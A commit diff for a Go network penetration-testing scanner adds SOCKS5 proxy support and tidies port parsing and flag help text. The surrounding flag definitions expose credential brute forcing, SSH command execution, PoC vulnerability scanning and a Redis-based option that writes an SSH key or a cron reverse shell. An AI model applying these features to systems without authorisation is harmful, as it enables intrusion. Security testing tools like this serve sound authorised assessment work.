case strings.Contains(ip, "-"):
|
||||||
|
return parseIP1(ip)
|
||||||
//处理单个ip
|
//处理单个ip
|
||||||
default:
|
default:
|
||||||
testIP := net.ParseIP(ip)
|
testIP := net.ParseIP(ip)
|
||||||
|
|||||||
+4
-2
@@ -11,7 +11,10 @@ func ParsePort(ports string) (scanPorts []int) {
|
|||||||
}
|
}
|
||||||
slices := strings.Split(ports, ",")
|
slices := strings.Split(ports, ",")
|
||||||
for _, port := range slices {
|
for _, port := range slices {
|
||||||
port = strings.Trim(port, " ")
|
port = strings.TrimSpace(port)
|
||||||
|
if port == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
upper := port
|
upper := port
|
||||||
if strings.Contains(port, "-") {
|
if strings.Contains(port, "-") {
|
||||||
ranges := strings.Split(port, "-")
|
ranges := strings.Split(port, "-")
|
||||||
@@ -28,7 +31,6 @@ func ParsePort(ports string) (scanPorts []int) {
|
|||||||
port = ranges[1]
|
port = ranges[1]
|
||||||
upper = ranges[0]
|
upper = ranges[0]
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
start, _ := strconv.Atoi(port)
|
start, _ := strconv.Atoi(port)
|
||||||
end, _ := strconv.Atoi(upper)
|
end, _ := strconv.Atoi(upper)
|
||||||
|
|||||||
+1
-2
@@ -37,8 +37,6 @@ var PORTList = map[string]int{
|
|||||||
"portscan": 0,
|
"portscan": 0,
|
||||||
"icmp": 0,
|
"icmp": 0,
|
||||||
"main": 0,
|
"main": 0,
|
||||||
"smb2": 1000004,
|
|
||||||
"wmi": 1000005,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
var Outputfile = getpath() + "result.txt"
|
var Outputfile = getpath() + "result.txt"
|
||||||
@@ -108,4 +106,5 @@ var (
|
|||||||
PassAdd string
|
PassAdd string
|
||||||
BruteThread int
|
BruteThread int
|
||||||
LiveTop int
|
LiveTop int
|
||||||
|
Socks5Proxy string
|
||||||
)
|
)
|
||||||
|
|||||||
+4
-3
@@ -22,8 +22,8 @@ func Flag(Info *HostInfo) {
|
|||||||
flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
|
flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
|
||||||
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
||||||
flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
|
flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
|
||||||
flag.StringVar(&UserAdd, "usera", "", "add port base DefaultUsers,-usera user")
|
flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
|
||||||
flag.StringVar(&PassAdd, "pwda", "", "add port base DefaultPasses,-pwda password")
|
flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
|
||||||
flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
|
flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
|
||||||
flag.StringVar(&Info.Command, "c", "", "exec command (ssh)")
|
flag.StringVar(&Info.Command, "c", "", "exec command (ssh)")
|
||||||
flag.StringVar(&Info.SshKey, "sshkey", "", "sshkey file (id_rsa)")
|
flag.StringVar(&Info.SshKey, "sshkey", "", "sshkey file (id_rsa)")
|
||||||
@@ -39,7 +39,7 @@ func Flag(Info *HostInfo) {
|
|||||||
flag.StringVar(&Userfile, "userf", "", "username file")
|
flag.StringVar(&Userfile, "userf", "", "username file")
|
||||||
flag.StringVar(&Passfile, "pwdf", "", "password file")
|
flag.StringVar(&Passfile, "pwdf", "", "password file")
|
||||||
flag.StringVar(&PortFile, "portf", "", "Port File")
|
flag.StringVar(&PortFile, "portf", "", "Port File")
|
||||||
flag.StringVar(&PocPath, "pocpath", "", "Port File")
|
flag.StringVar(&PocPath, "pocpath", "", "poc file path")
|
||||||
flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ")
|
flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ")
|
||||||
flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
|
flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
|
||||||
flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
|
flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
|
||||||
@@ -55,6 +55,7 @@ func Flag(Info *HostInfo) {
|
|||||||
flag.StringVar(&UrlFile, "uf", "", "urlfile")
|
flag.StringVar(&UrlFile, "uf", "", "urlfile")
|
||||||
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
|
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
|
||||||
flag.StringVar(&Pocinfo.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
|
flag.StringVar(&Pocinfo.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
|
||||||
|
flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
|
||||||
flag.StringVar(&Pocinfo.Cookie, "cookie", "", "set poc cookie")
|
flag.StringVar(&Pocinfo.Cookie, "cookie", "", "set poc cookie")
|
||||||
flag.Int64Var(&Pocinfo.Timeout, "wt", 5, "Set web timeout")
|
flag.Int64Var(&Pocinfo.Timeout, "wt", 5, "Set web timeout")
|
||||||
flag.IntVar(&Pocinfo.Num, "num", 20, "poc rate")
|
flag.IntVar(&Pocinfo.Num, "num", 20, "poc rate")
|
||||||
|
|||||||
@@ -0,0 +1,65 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"golang.org/x/net/proxy"
|
||||||
|
"net"
|
||||||
|
"net/url"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
||||||
|
d := &net.Dialer{Timeout: timeout}
|
||||||
|
return WrapperTCP(network, address, d)
|
||||||
|
}
|
||||||
|
|
||||||
|
func WrapperTCP(network, address string,forward * net.Dialer) (net.Conn, error) {
|
||||||
|
//get conn
|
||||||
|
var conn net.Conn
|
||||||
|
if Socks5Proxy == "" {
|
||||||
|
var err error
|
||||||
|
conn,err = forward.Dial(network, address)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}else {
|
||||||
|
dailer, err := Socks5Dailer(forward)
|
||||||
|
if err != nil{
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
conn,err = dailer.Dial(network, address)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return conn, nil
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) {
|
||||||
|
u,err := url.Parse(Socks5Proxy)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if strings.ToLower(u.Scheme) != "socks5" {
|
||||||
|
return nil, errors.New("Only support socks5")
|
||||||
|
}
|
||||||
|
address := u.Host
|
||||||
|
var auth proxy.Auth
|
||||||
|
var dailer proxy.Dialer
|
||||||
|
if u.User.String() != "" {
|
||||||
|
auth = proxy.Auth{}
|
||||||
|
auth.User = u.User.Username()
|
||||||
|
password,_ := u.User.Password()
|
||||||
|
auth.Password = password
|
||||||
|
dailer, err = proxy.SOCKS5("tcp", address, &auth, forward)
|
||||||
|
}else {
|
||||||
|
dailer, err = proxy.SOCKS5("tcp", address, nil, forward)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return dailer, nil
|
||||||
|
}
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 420 KiB |
Reference in New Issue
Block a user